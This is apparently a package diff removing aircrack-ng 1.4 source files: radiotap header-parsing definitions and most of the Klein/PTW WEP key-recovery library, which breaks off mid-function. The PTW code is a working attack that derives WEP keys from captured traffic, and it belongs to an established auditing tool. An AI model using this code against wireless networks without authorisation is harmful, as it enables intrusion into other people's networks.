-	IEEE80211_RADIOTAP_VHT_KNOWN_GROUP_ID = 0x0080,
-	IEEE80211_RADIOTAP_VHT_KNOWN_PARTIAL_AID = 0x0100,
-};
-
-enum ieee80211_radiotap_vht_flags {
-	IEEE80211_RADIOTAP_VHT_FLAG_STBC = 0x01,
-	IEEE80211_RADIOTAP_VHT_FLAG_TXOP_PS_NA = 0x02,
-	IEEE80211_RADIOTAP_VHT_FLAG_SGI = 0x04,
-	IEEE80211_RADIOTAP_VHT_FLAG_SGI_NSYM_M10_9 = 0x08,
-	IEEE80211_RADIOTAP_VHT_FLAG_LDPC_EXTRA_OFDM_SYM = 0x10,
-	IEEE80211_RADIOTAP_VHT_FLAG_BEAMFORMED = 0x20,
-};
-
-enum ieee80211_radiotap_vht_coding {
-	IEEE80211_RADIOTAP_CODING_LDPC_USER0 = 0x01,
-	IEEE80211_RADIOTAP_CODING_LDPC_USER1 = 0x02,
-	IEEE80211_RADIOTAP_CODING_LDPC_USER2 = 0x04,
-	IEEE80211_RADIOTAP_CODING_LDPC_USER3 = 0x08,
-};
-
-/* for IEEE80211_RADIOTAP_TIMESTAMP */
-enum ieee80211_radiotap_timestamp_unit_spos {
-	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MASK = 0x000F,
-	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MS = 0x0000,
-	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_US = 0x0001,
-	IEEE80211_RADIOTAP_TIMESTAMP_UNIT_NS = 0x0003,
-	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_MASK = 0x00F0,
-	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_BEGIN_MDPU = 0x0000,
-	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_PLCP_SIG_ACQ = 0x0010,
-	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_PPDU = 0x0020,
-	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_MPDU = 0x0030,
-	IEEE80211_RADIOTAP_TIMESTAMP_SPOS_UNKNOWN = 0x00F0,
-};
-
-enum ieee80211_radiotap_timestamp_flags {
-	IEEE80211_RADIOTAP_TIMESTAMP_FLAG_64BIT = 0x00,
-	IEEE80211_RADIOTAP_TIMESTAMP_FLAG_32BIT = 0x01,
-	IEEE80211_RADIOTAP_TIMESTAMP_FLAG_ACCURACY = 0x02,
-};
-
-#endif /* __RADIOTAP_H */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/radiotap/radiotap_iter.h Deleted

@@ -1,108 +0,0 @@
-#ifndef __RADIOTAP_ITER_H
-#define __RADIOTAP_ITER_H
-
-#include <stdint.h>
-#include "radiotap.h"
-
-#if defined(_MSC_VER)
-//  Microsoft
-#define EXPORT __declspec(dllexport)
-#define IMPORT __declspec(dllimport)
-#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__) || defined(__INTEL_COMPILER)
-#define EXPORT __attribute__((visibility("default")))
-#define IMPORT
-#else
-//  do nothing and hope for the best?
-#define EXPORT
-#define IMPORT
-#pragma warning Unknown dynamic link import/export semantics.
-#endif
-
-/* Radiotap header iteration
- *   implemented in radiotap.c
- */
-
-struct radiotap_override {
-	uint8_t field;
-	uint8_t align:4, size:4;
-};
-
-struct radiotap_align_size {
-	uint8_t align:4, size:4;
-};
-
-struct ieee80211_radiotap_namespace {
-	const struct radiotap_align_size *align_size;
-	int n_bits;
-	uint32_t oui;
-	uint8_t subns;
-};
-
-struct ieee80211_radiotap_vendor_namespaces {
-	const struct ieee80211_radiotap_namespace *ns;
-	int n_ns;
-};
-
-/**
- * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args
- * @this_arg_index: index of current arg, valid after each successful call
- *	to ieee80211_radiotap_iterator_next()
- * @this_arg: pointer to current radiotap arg; it is valid after each
- *	call to ieee80211_radiotap_iterator_next() but also after
- *	ieee80211_radiotap_iterator_init() where it will point to
- *	the beginning of the actual data portion
- * @this_arg_size: length of the current arg, for convenience
- * @current_namespace: pointer to the current namespace definition
- *	(or internally %NULL if the current namespace is unknown)
- * @is_radiotap_ns: indicates whether the current namespace is the default
- *	radiotap namespace or not
- *
- * @overrides: override standard radiotap fields
- * @n_overrides: number of overrides
- *
- * @_rtheader: pointer to the radiotap header we are walking through
- * @_max_length: length of radiotap header in cpu byte ordering
- * @_arg_index: next argument index
- * @_arg: next argument pointer
- * @_next_bitmap: internal pointer to next present u32
- * @_bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present
- * @_vns: vendor namespace definitions
- * @_next_ns_data: beginning of the next namespace's data
- * @_reset_on_ext: internal; reset the arg index to 0 when going to the
- *	next bitmap word
- *
- * Describes the radiotap parser state. Fields prefixed with an underscore
- * must not be used by users of the parser, only by the parser internally.
- */
-
-struct ieee80211_radiotap_iterator {
-	struct ieee80211_radiotap_header *_rtheader;
-	const struct ieee80211_radiotap_vendor_namespaces *_vns;
-	const struct ieee80211_radiotap_namespace *current_namespace;
-
-	unsigned char *_arg, *_next_ns_data;
-	uint32_t *_next_bitmap;
-
-	unsigned char *this_arg;
-	const struct radiotap_override *overrides;	/* Only for RADIOTAP_SUPPORT_OVERRIDES */
-	int n_overrides;				/* Only for RADIOTAP_SUPPORT_OVERRIDES */
-	int this_arg_index;
-	int this_arg_size;
-
-	int is_radiotap_ns;
-
-	int _max_length;
-	int _arg_index;
-	uint32_t _bitmap_shifter;
-	int _reset_on_ext;
-};
-
-IMPORT int ieee80211_radiotap_iterator_init(
-	struct ieee80211_radiotap_iterator *iterator,
-	struct ieee80211_radiotap_header *radiotap_header,
-	int max_length, const struct ieee80211_radiotap_vendor_namespaces *vns);
-
-IMPORT int ieee80211_radiotap_iterator_next(
-	struct ieee80211_radiotap_iterator *iterator);
-
-#endif /* __RADIOTAP_ITER_H */

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/tap-win32 Deleted

aircrack-ng-1.4.tar.gz/src/aircrack-ptw-lib.c Deleted

@@ -1,1014 +0,0 @@
-/*
- *  Copyright (c) 2007-2009 Erik Tews, Andrei Pychkine and Ralf-Philipp
- * Weinmann.
- *                2013 Ramiro Polla
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#ifdef HAVE_SYS_TYPES_H
-#include <sys/types.h>
-#endif
-#if defined(__sun__)
-#include <alloca.h>
-#endif
-#include "pcap.h"
-#include "aircrack-ptw-lib.h"
-#include "aircrack-ng.h"
-
-#define n PTW_n
-#define CONTROLSESSIONS PTW_CONTROLSESSIONS
-#define KSBYTES PTW_KSBYTES
-#define IVBYTES PTW_IVBYTES
-#define TESTBYTES 6
-
-static struct options opt;
-
-// Internal state of rc4
-typedef struct
-{
-	uint32_t s[n];
-	uint8_t i;
-	uint8_t j;
-} rc4state;
-
-// Helper structures for sorting
-typedef struct
-{
-	int keybyte;
-	uint8_t value;
-	int distance;
-} sorthelper;
-
-typedef struct
-{
-	int keybyte;
-	double difference;
-} doublesorthelper;
-
-// The rc4 initial state, the idendity permutation
-static const uint32_t rc4initial[] = {
-	0,   1,   2,   3,   4,   5,   6,   7,   8,   9,   10,  11,  12,  13,  14,
-	15,  16,  17,  18,  19,  20,  21,  22,  23,  24,  25,  26,  27,  28,  29,
-	30,  31,  32,  33,  34,  35,  36,  37,  38,  39,  40,  41,  42,  43,  44,
-	45,  46,  47,  48,  49,  50,  51,  52,  53,  54,  55,  56,  57,  58,  59,
-	60,  61,  62,  63,  64,  65,  66,  67,  68,  69,  70,  71,  72,  73,  74,
-	75,  76,  77,  78,  79,  80,  81,  82,  83,  84,  85,  86,  87,  88,  89,
-	90,  91,  92,  93,  94,  95,  96,  97,  98,  99,  100, 101, 102, 103, 104,
-	105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119,
-	120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134,
-	135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149,
-	150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164,
-	165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179,
-	180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194,
-	195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209,
-	210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224,
-	225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
-	240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254,
-	255};
-
-// Values for p_correct_i
-static const double eval[] = {0.00534392069257663,
-							  0.00531787585068872,
-							  0.00531345769225911,
-							  0.00528812219217898,
-							  0.00525997750378221,
-							  0.00522647312237696,
-							  0.00519132541143668,
-							  0.0051477139367225,
-							  0.00510438884847959,
-							  0.00505484662057323,
-							  0.00500502783556246,
-							  0.00495094196451801,
-							  0.0048983441590402};
-
-int tried, max_tries;
-int depth[KEYHSBYTES];
-PTW_tableentry keytable[KEYHSBYTES][n];
-
-// Check if optmizied RC4 for AMD64 has to be compiled
-#if defined(__amd64) && defined(__SSE2__)                                      \
-	&& (!defined(__clang__)                                                    \
-		|| (defined(__clang__)                                                 \
-			&& (__clang_major__ >= 4                                           \
-				|| (__clang_major__ == 3 && __clang_minor__ >= 9))))
-#define USE_AMD64_RC4_OPTIMIZED
-#endif
-
-// For sorting
-static int compare(const void * ina, const void * inb)
-{
-	PTW_tableentry * a = (PTW_tableentry *) ina;
-	PTW_tableentry * b = (PTW_tableentry *) inb;
-	return b->votes - a->votes;
-}
-
-// For sorting
-static int comparedoublesorthelper(const void * ina, const void * inb)
-{
-	doublesorthelper * a = (doublesorthelper *) ina;
-	doublesorthelper * b = (doublesorthelper *) inb;
-	if (a->difference > b->difference)
-	{
-		return 1;
-	}
-	else if (a->difference == b->difference)
-	{
-		return 0;
-	}
-	else
-	{
-		return -1;
-	}
-}
-
-#ifdef USE_AMD64_RC4_OPTIMIZED
-static const uint32_t __attribute__((used)) __attribute__((aligned(16)))
-x0123[4]
-	= {0, 1, 2, 3};
-static const uint32_t __attribute__((used)) __attribute__((aligned(16)))
-x4444[4]
-	= {4, 4, 4, 4};
-static int
-rc4test_amd64_sse2(uint8_t * key, int keylen, uint8_t * iv, uint8_t * keystream)
-{
-	int idx, i, j;
-	int scratch1, scratch2;
-
-	__asm__ volatile(
-#define state "%%rsp"
-#define keybuf "0x400(%%rsp)"
-#define keystream_ "0x428(%%rsp)"
-		// setup stack
-		"movq  %%rsp, %q0             \n\t"
-		"subq $0x430, %%rsp           \n\t"
-		"andq   $-16, %%rsp           \n\t"
-		"movq    %q0, -8(%%rsp)       \n\t"
-
-		// save keystream variable
-		"movq %q6, " keystream_ "       \n\t"
-
-		// keylen += IVBYTES
-		"addl    $3, %k4              \n\t"
-
-		// memcpy(keybuf, iv, IVBYTES);
-		"movl  (%q5), %k1             \n\t"
-		"movl   %k1 , " keybuf "        \n\t"
-		// memcpy(&keybuf[IVBYTES], key, keylen);
-		"movdqa   (%q3), %%xmm0       \n\t"
-		"cmpl    $16, %k4             \n\t"
-		"movdqu %%xmm0, 3+" keybuf "    \n\t"
-		"jng     .Lsmall_key1         \n\t"
-		"movdqa 16(%q3), %%xmm1       \n\t"
-		"movdqu %%xmm1,19+" keybuf "    \n\t"
-		".Lsmall_key1:                \n\t"
-
-		// key = keybuf
-		"lea  " keybuf ", %q3           \n\t"
-		// load xmm registers
-		"movdqa %q9,  %%xmm0          \n\t"
-		"movdqa %q10, %%xmm1          \n\t"
-		// clear some registers
-		"xorq      %q0, %q0           \n\t" // idx
-		"xorq      %q1, %q1           \n\t" // i
-		"xorq      %q2, %q2           \n\t" // j
-
-		// build identity array
-		".p2align 4                   \n\t"
-		".Lidentity_loop:             \n\t"
-		"movdqa %%xmm0, (" state ",%q1,4)\n\t"
-		"addb   $4, %b1               \n\t"
-		"paddd  %%xmm1, %%xmm0        \n\t"
-		"jnc  .Lidentity_loop         \n\t"
-
-		// load state into register
-		"movq " state ", %q1            \n\t"
-
-		// %q4 = and mask for idx
-		"movq %q4, %q8                \n\t"
-		"cmpq $16, %q8                \n\t"
-		"movq $15, %q4                \n\t"
-		"je    .Lsmall_key2           \n\t"
-		"shrq  $1, %q4                \n\t"
-		".Lsmall_key2:                \n\t"
-
-		// init array with key
-		".p2align 4                   \n\t"
-		".init_loop:                  \n\t"
-		"movl    %k0, %k8             \n\t" /* scratch2        = idx */
-		"movl   (%q1), %k5            \n\t" /* s1              = state[i] */
-		"leal  1(%q0,1), %k0          \n\t" /* idx++ */
-		"movzbl (%q3,%q8,1), %k6      \n\t" /* key_n           = key[scratch2]
-											   */
-		"leal   (%q5,%q6,1), %k8      \n\t" /* scratch2        = s1 + key_n */
-		"addl    %k8, %k2             \n\t" /* j              += scratch2 */
-		"andl    %k4, %k0             \n\t" /* idx            &= mask */
-		"movzbl  %b2, %k8             \n\t" /* scratch2        = j */
-		"movl (" state
-		",%q8,4), %k7    \n\t" /* s2              = state[scratch2] */
-		"movl    %k7, (%q1)           \n\t" /* state[i]        = s2 */
-		"addq     $4, %q1             \n\t" /* i++ */
-		"movl    %k5, (" state ",%q8,4) \n\t" /* state[scratch2] = s1 */
-		"cmpq    %q1, %q3             \n\t" /* state          == &state[0x100]
-												 */
-		"jne .init_loop               \n\t"
-
-		// restore keystream variable
-		"movq " keystream_ ", %q6       \n\t"
-
-		// clear some registers
-		"xorq  %q2, %q2               \n\t" // j = 0
-		"xorq  %q0, %q0               \n\t" // result
-
-#define RC4TEST_LOOP(offset)                                                   \
-	"movl 4*" offset "(" state "), %k5\n\t" /* s1 = state[i]         */        \
-	"leal (%q5,%q2,1), %k4        \n\t" /*                       */            \
-	"movzbl %b4, %k2              \n\t" /* j += s1               */            \
-	"movl (" state ",%q2,4), %k1    \n\t" /* s2 = state[j]         */          \
-	"movl %k1, 4*" offset "(" state ")\n\t" /* state[i] = s2         */        \
-	"movl %k5, (" state ",%q2,4)    \n\t" /* state[j] = s1         */          \
-	"addb %b1, %b5                \n\t" /* s1 += s2;             */            \
-	"movb (" state ",%q5,4), %b3    \n\t" /* ret = state[s1]       */          \
-	"cmpb %b3, " offset "-1(%q6)    \n\t" /* ret == keystream[i-1] */          \
-	"jne .ret                     \n\t"
-
-		RC4TEST_LOOP("1") RC4TEST_LOOP("2") RC4TEST_LOOP("3") RC4TEST_LOOP("4")
-			RC4TEST_LOOP("5") RC4TEST_LOOP("6")
-
-#undef RC4TEST_LOOP
-
-				"addb $1, %b0                 \n\t"
-				".ret:                        \n\t"
-
-				// restore stack
-				"movq -8(%%rsp), %%rsp        \n\t"
-
-		: "=&r"(idx),
-		  "=&r"(i),
-		  "=&r"(j),
-		  "+r"(key),
-		  "+r"(keylen),
-		  "+r"(iv),
-		  "+r"(keystream),
-		  "=&r"(scratch1),
-		  "=&r"(scratch2)
-		: "m"(x0123[0]), "m"(x4444[0])
-		: "xmm0", "xmm1");
-#undef state
-#undef keybuf
-#undef keystream_
-
-	return idx;
-}
-#endif
-
-// RC4 key setup
-static void rc4init(uint8_t * key, int keylen, rc4state * state)
-{
-	int i;
-	unsigned char j;
-	uint8_t tmp;
-	int idx = 0;
-	memcpy(state->s, &rc4initial, sizeof(rc4initial));
-	j = 0;
-	for (i = 0; i < n; i++)
-	{
-		/*  this should be:
-			j = (j + state->s[i] + key[i % keylen]) % n;
-			but as "j" is declared as unsigned char and n equals 256,
-			we can "optimize" it
-		*/
-		j = (j + state->s[i] + key[idx]);
-		if (++idx == keylen) idx = 0;
-		tmp = state->s[i];
-		state->s[i] = state->s[j];
-		state->s[j] = tmp;
-	}
-	state->i = 0;
-	state->j = 0;
-}
-
-// RC4 key stream generation
-static uint8_t rc4update(rc4state * state)
-{
-	uint8_t tmp;
-	uint8_t k;
-	state->i++;
-	state->j += state->s[state->i];
-	tmp = state->s[state->i];
-	state->s[state->i] = state->s[state->j];
-	state->s[state->j] = tmp;
-	k = state->s[state->i] + state->s[state->j];
-
-	return state->s[k];
-}
-
-static int rc4test(uint8_t * key, int keylen, uint8_t * iv, uint8_t * keystream)
-{
-	uint8_t keybuf[PTW_KSBYTES];
-	rc4state rc4state;
-	int j;
-	memcpy(&keybuf[IVBYTES], key, keylen);
-	memcpy(keybuf, iv, IVBYTES);
-	rc4init(keybuf, keylen + IVBYTES, &rc4state);
-	for (j = 0; j < TESTBYTES; j++)
-	{
-		if ((rc4update(&rc4state) ^ keystream[j]) != 0)
-		{
-			return 0;
-		}
-	}
-	return 1;
-}
-
-// For sorting
-static int comparesorthelper(const void * ina, const void * inb)
-{
-	sorthelper * a = (sorthelper *) ina;
-	sorthelper * b = (sorthelper *) inb;
-	return a->distance - b->distance;
-}
-
-/*
- * Guess the values for sigma_i
- * ivlen - how long was the iv (is used differently in original klein attack)
- * iv - IV which was used for this packet
- * keystream - keystream recovered
- * result - buffer for the values of sigma_i
- * kb - how many keybytes should be guessed
- */
-static void guesskeybytes(
-	int ivlen, uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb)
-{
-	uint32_t state[n];
-	uint8_t j = 0;
-	uint8_t tmp;
-	int i;
-	int jj = ivlen;
-	uint8_t ii;
-	uint8_t s = 0;
-	memcpy(state, &rc4initial, sizeof(rc4initial));
-	for (i = 0; i < ivlen; i++)
-	{
-		j += state[i] + iv[i];
-		tmp = state[i];
-		state[i] = state[j];
-		state[j] = tmp;
-	}
-	for (i = 0; i < kb; i++)
-	{
-		tmp = jj - keystream[jj - 1];
-		ii = 0;
-		while (tmp != state[ii])
-		{
-			ii++;
-		}
-		s += state[jj];
-		ii -= (j + s);
-		result[i] = ii;
-		jj++;
-	}
-	return;
-}
-
-/*
- * Is a guessed key correct?
- */
-static int correct(PTW_attackstate * state, uint8_t * key, int keylen)
-{
-	int i;
-	int k;
-
-	// We need at least 3 sessions to be somehow certain
-	if (state->sessions_collected < 3)
-	{
-		return 0;
-	}
-
-	tried++;
-
-	k = rand() % (state->sessions_collected - 10);
-	for (i = k; i < k + 10; i++)
-	{
-		if (!state->rc4test(key,
-							keylen,
-							state->sessions[i].iv,
-							state->sessions[i].keystream))
-			return 0;
-	}
-	return 1;
-}
-
-/*
- * Calculate the squaresum of the errors for both distributions
- */
-static void getdrv(PTW_tableentry orgtable[][n],
-				   int keylen,
-				   double * normal,
-				   double * ausreiser)
-{
-	int i, j;
-	int numvotes = 0;
-	double e;
-	double e2;
-	double emax;
-	double help = 0.0;
-	double maxhelp = 0;
-	double maxi = 0;
-	for (i = 0; i < n; i++)
-	{
-		numvotes += orgtable[0][i].votes;
-	}
-	e = numvotes / n;
-	for (i = 0; i < keylen; i++)
-	{
-		emax = eval[i] * numvotes;
-		e2 = ((1.0 - eval[i]) / 255.0) * numvotes;
-		normal[i] = 0;
-		ausreiser[i] = 0;
-		maxhelp = 0;
-		maxi = 0;
-		for (j = 0; j < n; j++)
-		{
-			if (orgtable[i][j].votes > maxhelp)
-			{
-				maxhelp = orgtable[i][j].votes;
-				maxi = j;
-			}
-		}
-		for (j = 0; j < n; j++)
-		{
-			if (j == maxi)
-			{
-				help = (1.0 - orgtable[i][j].votes / emax);
-			}
-			else
-			{
-				help = (1.0 - orgtable[i][j].votes / e2);
-			}
-			help = help * help;
-			ausreiser[i] += help;
-			help = (1.0 - orgtable[i][j].votes / e);
-			help = help * help;
-			normal[i] += help;
-		}
-	}
-}
-
-/*
- * Guess a single keybyte
- */
-static int doRound(PTW_tableentry sortedtable[][n],
-				   int keybyte,
-				   int fixat,
-				   uint8_t fixvalue,
-				   int * searchborders,
-				   uint8_t * key,
-				   int keylen,
-				   PTW_attackstate * state,
-				   uint8_t sum,
-				   int * strongbytes,
-				   int * bf,
-				   int validchars[][n])
-{
-	int i;
-	uint8_t tmp;
-
-	if (!opt.is_quiet && keybyte < 4)
-		show_wep_stats(keylen - 1, 0, keytable, searchborders, depth, tried);
-	if (keybyte > 0)
-	{
-		if (!validchars[keybyte - 1][key[keybyte - 1]])
-		{
-			return 0;
-		}
-	}
-	if (keybyte == keylen)
-	{
-		return correct(state, key, keylen);
-	}
-	else if (bf[keybyte] == 1)
-	{
-		for (i = 0; i < n; i++)
-		{
-			key[keybyte] = i;
-			if (doRound(sortedtable,
-						keybyte + 1,
-						fixat,
-						fixvalue,
-						searchborders,
-						key,
-						keylen,
-						state,
-						sum + i % n,
-						strongbytes,
-						bf,
-						validchars))
-			{
-				return 1;
-			}
-		}
-		return 0;
-	}
-	else if (keybyte == fixat)
-	{
-		key[keybyte] = fixvalue - sum;
-		return doRound(sortedtable,
-					   keybyte + 1,
-					   fixat,
-					   fixvalue,
-					   searchborders,
-					   key,
-					   keylen,
-					   state,
-					   fixvalue,
-					   strongbytes,
-					   bf,
-					   validchars);
-	}
-	else if (strongbytes[keybyte] == 1)
-	{
-		// printf("assuming byte %d to be strong\n", keybyte);
-		tmp = 3 + keybyte;
-		for (i = keybyte - 1; i >= 1; i--)
-		{
-			tmp += 3 + key[i] + i;
-			key[keybyte] = n - tmp;
-			if (doRound(sortedtable,
-						keybyte + 1,
-						fixat,
-						fixvalue,
-						searchborders,
-						key,
-						keylen,
-						state,
-						(n - tmp + sum) % n,
-						strongbytes,
-						bf,
-						validchars)
-				== 1)
-			{
-				printf("hit with strongbyte for keybyte %d\n", keybyte);
-				return 1;
-			}
-		}
-		return 0;
-	}
-	else
-	{
-		for (i = 0; i < searchborders[keybyte]; i++)
-		{
-			key[keybyte] = sortedtable[keybyte][i].b - sum;
-			if (!opt.is_quiet)
-			{
-				depth[keybyte] = i;
-				keytable[keybyte][i].b = key[keybyte];
-			}
-			if (doRound(sortedtable,
-						keybyte + 1,
-						fixat,
-						fixvalue,
-						searchborders,
-						key,
-						keylen,
-						state,
-						sortedtable[keybyte][i].b,
-						strongbytes,
-						bf,
-						validchars))
-			{
-				return 1;
-			}
-		}
-		return 0;
-	}
-}
-
-/*
- * Do the actual computation of the key
- */
-static int doComputation(PTW_attackstate * state,
-						 uint8_t * key,
-						 int keylen,
-						 PTW_tableentry table[][n],
-						 sorthelper * sh2,
-						 int * strongbytes,
-						 int keylimit,
-						 int * bf,
-						 int validchars[][n])
-{
-	int i, j;
-	int choices[KEYHSBYTES];
-	int prod;
-	int fixat;
-	int fixvalue;
-
-	if (!opt.is_quiet)
-		memcpy(keytable, table, sizeof(PTW_tableentry) * n * keylen);
-
-	for (i = 0; i < keylen; i++)
-	{
-		if (strongbytes[i] == 1)
-		{
-			choices[i] = i;
-		}
-		else
-		{
-			choices[i] = 1;
-		}
-	}
-	i = 0;
-	prod = 0;
-	fixat = -1;
-	fixvalue = 0;
-	max_tries = keylimit;
-
-	while (prod < keylimit)
-	{
-		if (doRound(table,
-					0,
-					fixat,
-					fixvalue,
-					choices,
-					key,
-					keylen,
-					state,
-					0,
-					strongbytes,
-					bf,
-					validchars)
-			== 1)
-		{
-			// printf("hit with %d choices\n", prod);
-			if (!opt.is_quiet)
-				show_wep_stats(keylen - 1, 1, keytable, choices, depth, tried);
-			return 1;
-		}
-		while ((i < keylen * (n - 1)) && ((strongbytes[sh2[i].keybyte] == 1)
-										  || (bf[sh2[i].keybyte] == 1)))
-		{
-			i++;
-		}
-		if (i >= (keylen * (n - 1)))
-		{
-			break;
-		}
-		choices[sh2[i].keybyte]++;
-		fixat = sh2[i].keybyte;
-		// printf("choices[%d] is now %d\n", sh2[i].keybyte,
-		// choices[sh2[i].keybyte]);
-		fixvalue = sh2[i].value;
-		prod = 1;
-		for (j = 0; j < keylen; j++)
-		{
-			prod *= choices[j];
-			if (bf[j] == 1)
-			{
-				prod *= n;
-			}
-		}
-
-		/*
-		do {
-			i++;
-		} while (strongbytes[sh2[i].keybyte] == 1);
-		*/
-		i++;
-
-		if (!opt.is_quiet)
-			show_wep_stats(keylen - 1, 0, keytable, choices, depth, tried);
-	}
-	if (!opt.is_quiet)
-		show_wep_stats(keylen - 1, 1, keytable, choices, depth, tried);
-	return 0;
-}
-
-/*
- * Guess which key bytes could be strong and start actual computation of the key
- */
-int PTW_computeKey(PTW_attackstate * state,
-				   uint8_t * keybuf,
-				   int keylen,
-				   int testlimit,
-				   int * bf,
-				   int validchars[][n],
-				   int attacks)
-{
-	int strongbytes[KEYHSBYTES];
-	double normal[KEYHSBYTES];
-	double ausreisser[KEYHSBYTES];
-	doublesorthelper helper[KEYHSBYTES];
-	int simple, onestrong, twostrong;
-	int i, j;
-#ifdef USE_AMD64_RC4_OPTIMIZED
-	/*
-	 * The 64-bit SSE2-optimized rc4test() requires this buffer to be
-	 * aligned at 3 bytes.
-	 */
-	uint8_t fullkeybuf_unaligned[PTW_KSBYTES + 13] __attribute__((aligned(16)));
-	uint8_t * fullkeybuf = &fullkeybuf_unaligned[13];
-#else
-	uint8_t fullkeybuf[PTW_KSBYTES];
-#endif
-	uint8_t guessbuf[PTW_KSBYTES];
-	sorthelper(*sh)[n - 1];
-	PTW_tableentry(*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen);
-
-#ifdef USE_AMD64_RC4_OPTIMIZED
-	/*
-	 * sse2-optimized rc4test() function for amd64 only works
-	 * for keylen == 5 or keylen == 13
-	 */
-	if (keylen == 5 || keylen == 13)
-		state->rc4test = rc4test_amd64_sse2;
-	else
-#endif
-		state->rc4test = rc4test;
-
-	tried = 0;
-	sh = NULL;
-
-	if (table == NULL)
-	{
-		printf("could not allocate memory\n");
-		exit(-1);
-	}
-
-	if (!(attacks & NO_KLEIN))
-	{
-		// Try the original klein attack first
-		for (i = 0; i < keylen; i++)
-		{
-			memset(&table[i][0], 0, sizeof(PTW_tableentry) * n);
-			for (j = 0; j < n; j++)
-			{
-				table[i][j].b = j;
-			}
-			for (j = 0; j < state->packets_collected; j++)
-			{
-				// fullkeybuf[0] = state->allsessions[j].iv[0];
-				memcpy(
-					fullkeybuf, state->allsessions[j].iv, 3 * sizeof(uint8_t));
-				guesskeybytes(i + 3,
-							  fullkeybuf,
-							  state->allsessions[j].keystream,
-							  guessbuf,
-							  1);
-				table[i][guessbuf[0]].votes += state->allsessions[j].weight;
-			}
-			qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
-			j = 0;
-			while (!validchars[i][table[i][j].b])
-			{
-				j++;
-			}
-			// printf("guessing i = %d, b = %d\n", i, table[0][0].b);
-			fullkeybuf[i + 3] = table[i][j].b;
-		}
-		if (correct(state, &fullkeybuf[3], keylen))
-		{
-			memcpy(keybuf, &fullkeybuf[3], keylen * sizeof(uint8_t));
-			// printf("hit without correction\n");
-			return 1;
-		}
-	}
-
-	if (!(attacks & NO_PTW))
-	{
-		memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen);
-
-		onestrong = (testlimit / 10) * 2;
-		twostrong = (testlimit / 10) * 1;
-		simple = testlimit - onestrong - twostrong;
-
-		// now, sort the table
-		for (i = 0; i < keylen; i++)
-		{
-			qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
-			strongbytes[i] = 0;
-		}
-
-		sh = alloca(sizeof(sorthelper) * (n - 1) * keylen);
-		if (sh == NULL)
-		{
-			printf("could not allocate memory\n");
-			exit(-1);
-		}
-
-		for (i = 0; i < keylen; i++)
-		{
-			for (j = 1; j < n; j++)
-			{
-				sh[i][j - 1].distance = table[i][0].votes - table[i][j].votes;
-				sh[i][j - 1].value = table[i][j].b;
-				sh[i][j - 1].keybyte = i;
-			}
-		}
-		qsort(sh, (n - 1) * keylen, sizeof(sorthelper), &comparesorthelper);
-
-		if (doComputation(state,
-						  keybuf,
-						  keylen,
-						  table,
-						  (sorthelper *) sh,
-						  strongbytes,
-						  simple,
-						  bf,
-						  validchars))
-		{
-			return 1;
-		}
-
-		// Now one strong byte
-		getdrv(state->table, keylen, normal, ausreisser);
-		for (i = 0; i < keylen - 1; i++)
-		{
-			helper[i].keybyte = i + 1;
-			helper[i].difference = normal[i + 1] - ausreisser[i + 1];
-		}
-		qsort(helper,
-			  keylen - 1,
-			  sizeof(doublesorthelper),
-			  &comparedoublesorthelper);
-		// do not use bf-bytes as strongbytes
-		i = 0;
-		while (bf[helper[i].keybyte] == 1)
-		{
-			i++;
-		}
-		strongbytes[helper[i].keybyte] = 1;
-		if (doComputation(state,
-						  keybuf,
-						  keylen,
-						  table,
-						  (sorthelper *) sh,
-						  strongbytes,
-						  onestrong,
-						  bf,
-						  validchars))
-		{
-			return 1;
-		}
-
-		// two strong bytes
-		i++;
-		while (bf[helper[i].keybyte] == 1)
-		{
-			i++;
-		}
-		strongbytes[helper[i].keybyte] = 1;
-		if (doComputation(state,
-						  keybuf,
-						  keylen,
